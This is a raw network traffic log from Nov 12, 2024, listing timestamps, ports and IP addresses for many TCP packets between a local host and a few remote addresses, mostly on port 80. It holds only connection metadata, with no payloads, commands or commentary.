Nov 12, 2024 17:07:56.231348991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231363058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231398106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231412888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231412888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231436968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231448889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231460094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231472015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231494904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231498003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231511116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231520891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231530905 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231563091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231563091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231650114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231738091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231754065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231766939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231800079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231883049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231925964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231964111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231973886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.231976986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.231990099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232001066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232022047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232022047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232153893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232215881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232234001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232244968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232256889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232269049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232279062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232290983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232291937 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232301950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232306957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232315063 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232330084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232341051 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232366085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232367992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232373953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232373953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232379913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232815027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232829094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232839108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232851028 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232860088 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232862949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232875109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232887983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232897997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232909918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232909918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232922077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232944012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232952118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232952118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.232955933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.232974052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233004093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233004093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233396053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233408928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233418941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233431101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233450890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233450890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233464956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233488083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233499050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233500957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233522892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233527899 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233539104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233551025 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233566999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233567953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233580112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.233597040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233623028 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.233623028 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234163046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234173059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234188080 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234200954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234211922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234224081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234234095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234235048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234250069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234261036 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234262943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234263897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234272957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234285116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234301090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234301090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234349966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.234944105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234956026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234961987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234967947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234975100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.234988928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235008001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235018969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235028982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235040903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235044003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235044003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235054016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235065937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235074997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235076904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235090971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235104084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235104084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235193968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235222101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235234976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235245943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.235275030 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.235295057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.258328915 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.258368015 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.258416891 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.258486032 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.258486032 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.258661032 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.258661032 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.258677959 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.258687973 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.263962030 CET	49980	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.263984919 CET	443	49980	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.268073082 CET	49980	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.268193960 CET	49980	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.268207073 CET	443	49980	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.276369095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.276411057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.276423931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.276505947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.276505947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.278261900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.278757095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.307663918 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.311964989 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.312028885 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.312190056 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.312220097 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.312310934 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.347558022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347584963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347599030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347609997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347623110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347635984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347649097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347660065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347671986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347695112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347697020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347717047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347728968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347738981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347738981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347743034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347754955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347767115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347779989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347781897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347791910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347804070 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347807884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347815990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347826958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347826958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347858906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347863913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347876072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347879887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347879887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347887039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347898960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347914934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347919941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347919941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347919941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347928047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.347959042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.347959042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.348221064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.348723888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.348897934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349020958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349033117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349131107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349159002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349170923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349181890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349194050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349205971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349216938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349229097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349236965 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349236965 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349240065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349282026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349298000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349308968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349319935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349338055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349338055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349396944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349493027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349504948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349534035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349549055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349555969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349555969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349561930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349574089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349621058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349656105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349813938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349826097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349838018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349854946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349872112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349961996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349973917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349984884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.349991083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349991083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.349997997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350008965 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350011110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350058079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350058079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350058079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350089073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350101948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350116014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350142956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350142956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350244045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350267887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350364923 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350451946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350464106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350475073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350492954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350503922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350516081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350524902 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350524902 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350528002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350552082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350586891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350599051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350610018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350626945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350651026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350758076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350775003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350790977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350807905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350820065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350831985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350832939 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350832939 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350842953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350853920 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350855112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350867033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350878000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350888968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350893974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350893974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350900888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350924015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350938082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350946903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350960016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350960970 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.350970984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350982904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350995064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.350999117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351011038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351011038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351078033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351089954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351099968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351116896 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351125956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351151943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351250887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351263046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351274014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351284981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351296902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351308107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351319075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351331949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351331949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351419926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351432085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351444006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351449966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351455927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351466894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351470947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351515055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351515055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351578951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351593018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351603031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351613045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351634026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351711988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351758957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351773024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351788998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351800919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.351814985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351854086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351854086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.351895094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352008104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352056980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352067947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352113962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352113962 CET	49859	80	192.168.2.6	185.215.113.206
